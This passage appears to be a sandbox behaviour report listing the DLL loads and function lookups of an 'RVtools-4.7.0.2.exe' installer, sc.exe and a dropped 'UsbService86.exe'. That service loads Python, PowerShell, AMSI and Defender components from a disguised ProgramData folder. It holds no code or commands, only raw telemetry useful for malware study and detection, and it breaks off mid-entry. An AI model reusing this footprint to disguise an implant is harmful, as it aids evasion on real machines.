%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\3b9003e4f27d92e40668f0efad11e022\mscorlib.ni.dll (UID: 00000000-00004460) "start.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00004460) "start.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00004460) "start.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00004460) "start.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00004460) "start.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00004460) "start.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00004460) "start.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\ce0fd4f5b50baa17e7b80e4ee874ad11\System.ni.dll (UID: 00000000-00004460) "start.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00004460) "start.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00004460) "start.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00004460) "start.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00004460) "RVtools-4.7.0.2.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\UXTHEME.dll (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\USERENV.dll (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\SETUPAPI.dll (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\APPHELP.dll (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\PROPSYS.dll (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\DWMAPI.dll (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\CRYPTBASE.dll (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\OLEACC.dll (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\CLBCATQ.dll (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\NTMARTA.dll (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\VERSION.dll (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\SHFOLDER.dll (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\RichEd20.dll (UID: 00000000-00001196) "RVtools-4.7.0.2.exe" called "LoadLibrary" with a parameter %TEMP%\nsgDF58.tmp\nsExec.dll (UID: 00000000-00001196) "sc.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00008164) "sc.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00008164) "sc.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00008164) "sc.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00008164) "sc.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007268) "sc.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007268) "sc.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007268) "sc.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007268) "UsbService86.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter api-ms-win-core-file-l2-1-4 (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\python3 (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\_bz2.pyd (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\_lzma.pyd (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\_wmi.pyd (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\_cffi_backend.cp312-win_amd64.pyd (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\clr_loader\ffi\dlls\amd64\ClrLoader.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\3b9003e4f27d92e40668f0efad11e022\mscorlib.ni.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\ce0fd4f5b50baa17e7b80e4ee874ad11\System.ni.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\990501e6199819806f01c8ecac88baac\System.Core.ni.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\urlmon.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\SystemWEB\SystemInfo\pythonnet\runtime\Psapi.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter Psapi.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\2a25b59872a72da9b55f952ab1b0bc8b\System.Configuration.ni.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\f0078c8c05b31633e5966c5629e65602\System.Xml.ni.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\ea893d7e336a196c927c3f1251a1d1a9\System.Management.Automation. (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\b4c34523c582146dea3ca389e3487145\System.Configuration.Install. (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\dd0ed795d7234a2ae4314de052867161\System.Transactions.ni.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Runteb92aa12#\00d77e4f6209222f01fba5b5ee335b0e\System.Runtime.Serialization. (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P1706cafe#\17182784b4d739db89359f759c9b7680\Microsoft.PowerShell.Commands (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\86af2f4f2745738837c95f24472c32ca\Microsoft.PowerShell.ConsoleH (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\468fa5ae84991aaf4d90ecee8788f024\Microsoft.PowerShell.Commands (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\9494eda0c9af503cb61fe450b5ba9c1a\Microsoft.PowerShell.Commands (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\f4889fa032f8023fe280a54700d6d3a5\Microsoft.Management.Infrastr (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\49750ea038273f75321e479ef1525d1e\Microsoft.PowerShell.Security (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.We0722664#\5b6dc6ced38a636165cb1ed15c9505e5\Microsoft.WSMan.Management.ni (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\bf3d2e6042d943e0fec9ccc0d72c8f3b\System.Data.ni.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\6287e09015a311a64c4fe0304818f8c3\System.Management.ni.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\2d1ff2ab3131de6a507f22ccc53b273a\System.DirectoryServices.ni.d (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MPCLIENT.DLL (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MsMpLics.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter advapi32 (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Drawing\3c82a5286b5172d5a68c8df2e09c4c40\System.Drawing.ni.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.ServiceModel\828af4c73aff33045680a30ab10be3c7\System.ServiceModel.ni.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xaml\9cbb0cf8fa877d9b20bcd4e36b531259\System.Xaml.ni.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.EnterpriseServices.Wrappe (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter rasapi32.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\aspnet_rc.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\aspnet_rc.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_rc.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\webengine4.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\\webengine4.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\webengine4.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter webengine4.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00007744) "UsbService86.exe" called "LoadLibrary" with a parameter Kernel32.dll (UID: 00000000-00007744)3c:T1146d,"start.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter _CorExeMain_RetAddr (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter _CorExeMain (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter RtlVirtualUnwind (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00004460) "start.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00004460) "start.exe" called 